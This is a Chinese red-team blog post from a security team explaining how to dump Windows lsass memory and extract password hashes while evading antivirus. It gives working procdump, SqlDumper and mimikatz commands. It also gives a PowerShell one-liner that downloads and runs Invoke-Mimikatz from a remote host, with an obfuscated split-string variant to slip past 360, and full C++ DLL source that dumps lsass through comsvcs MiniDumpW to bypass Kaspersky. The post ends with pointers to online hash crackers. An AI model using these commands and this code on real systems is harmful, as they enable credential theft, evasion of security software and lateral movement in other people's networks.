【红蓝对抗】内网渗透-免杀抓取windows hash

声明: Tide安全团队原创文章,转载请声明出处! 文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

前言

内网渗透时,获得主机管理员权限后,通常会抓取用户的明文密码或hash,进行pth攻击。

大部分情况会遇到防护软件,常规抓取方法失效,因此需要对防护进行绕过。

Procdump.exe

Procdump是微软官方发布的工具,使用该工具可以把lsass的内存dump下来,可以绕过大多数的防护软件。

首先使用procdump.exe把进程lsass.exe 的内存dump下来

procdump.exe -accepteula -ma lsass.exe lsass.dmp 

实战中把 lsass.dmp 下载下来,在相同版本的操作系统使用mimikatz读取密码hash。

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit 

SqlDumper.exe

SqlDumper也属于微软出品,存在于SQL Server文件夹中,大多数杀软不会拦截。

默认存放在C:\Program Files\Microsoft SQL Server\number\Shared,number代表SQL Server的版本。

如果目标机器没有安装SQL Server,可以自己上传SqlDumper.exe。

tasklist /svc | findstr lsass.exe  查看lsass.exe 的PID号
Sqldumper.exe ProcessID 0 0x01100  导出mdmp文件

实战中下把生成的mdmp文件下载到本地,使用相同的操作系统打开。

mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" exit

可过360,无法过卡巴斯基。

powershell免杀

结合powershell的免杀,加载Invoke-Mimikatz.ps1脚本获取密码hash。

使用命令远程加载ps1脚本。

powershell IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/ps/Invoke-Mimikatz.ps1'); Invoke-Mimikatz

会被360拦截,绕过方法很多,这里可以使用分割绕过。

powershell "$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://x.x.x.x/ps/Invoke-Mimikatz.ps1'')); Invoke-Mimikatz';IEX ($a+$b)"

无法绕过卡巴斯基。

绕过卡巴斯基抓取lsass中密码

卡巴斯基对lsass.exe防护相当变态,上面的几种方法都无法绕过卡巴斯基。

使用国外大佬XPN使用RPC控制lsass加载SSP的代码,https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e

将三个文件下载到本地,使用visual studio进行编译,需要修改了几个地方。

(1)添加如下代码

#pragma comment(lib, "Rpcrt4.lib") (引入Rpcrt4.lib库文件)

(2)将.c文件后缀改成.cpp (使用了c++代码,需要更改后缀)

(3) 编译时选择x64 (XPN大佬提供的是64位代码)

编译代码得到.exe文件。

然后用生成的exe,加载dump内存的dll文件,这里使用的是奇安信A-team团队公布的源码,并在基础上,增加了自动获取lsass的PID号功能,无需每次使用重复编译。

dll源码如下:

#include <cstdio>
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <string>
#include <map>
#include <TlHelp32.h>

#pragma comment(lib,"Dbghelp.lib")
using namespace std;

int FindPID()
{
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(pe32);

    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == INVALID_HANDLE_VALUE) {
        cout << "CreateToolhelp32Snapshot Error!" << endl;;
        return false;
    }

    BOOL bResult = Process32First(hProcessSnap, &pe32);

    while (bResult)
    {
        if (_wcsicmp(pe32.szExeFile, L"lsass.exe") == 0)
        {
            return pe32.th32ProcessID;
        }
        bResult = Process32Next(hProcessSnap, &pe32);
    }

    CloseHandle(hProcessSnap);

    return -1;
}

typedef HRESULT(WINAPI* _MiniDumpW)(
    DWORD arg1, DWORD arg2, PWCHAR cmdline);

typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
    ULONG Privilege, BOOL Enable,
    BOOL CurrentThread, PULONG Enabled);

int dump() {

    HRESULT             hr;
    _MiniDumpW          MiniDumpW;
    _RtlAdjustPrivilege RtlAdjustPrivilege;
    ULONG               t;

    MiniDumpW = (_MiniDumpW)GetProcAddress(
        LoadLibrary(L"comsvcs.dll"), "MiniDumpW");

    RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(
        GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");

    if (MiniDumpW == NULL) {

        return 0;
    }
    // try enable debug privilege
    RtlAdjustPrivilege(20, TRUE, FALSE, &t);

    wchar_t  ws[100];
    swprintf(ws, 100, L"%hd%hs", FindPID(), " C:\\1.bin full");

    MiniDumpW(0, 0, ws);
    return 0;

}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        dump();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

在测试机中安装卡巴斯基进行测试,使用Procdump会被拦截。

把编译好的文件exe和dll放在同一目录下。

使用管理员权限运行exe,加载dll文件。

存在三个需要注意的点:

1、调用dll文件要是完整的绝对路径

2、文件要放在英文路径下

3、在win7下测试只能执行一次,第二次执行电脑会重启,其它系统未测试。

成功绕过防护生成了1.bin文件。

实战中把生成的文件下载到本地,然后在版本相同的操作系统使用mimikatz读取。

mimikatz# sekurlsa::minidump 1.bin
mimikatz# sekurlsa::loginpasswords full

成功读取到密码hash。

对于无法读出明文的系统,可以尝试在线破解hash获取明文。

https://www.objectif-securite.ch/en/ophcrack

http://cracker.offensive-security.com/index.php

参考链接

https://www.jianshu.com/p/7ccf6e15fbe0

https://blog.xpnsec.com/exploring-mimikatz-part-2/

https://blog.csdn.net/xiangshen1990/article/details/104872566

https://mp.weixin.qq.com/s/8OueE-bEIdkvwPWu3KqrcQ

guān

zhù

men

Tide安全团队正式成立于2019年1月 是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

对安全感兴趣的小伙伴可以 关注团队官网: http://www.TideSec.com 或长按二维码关注公众号:

我来评几句
登录后评论

已发表评论数()

相关站点

热门文章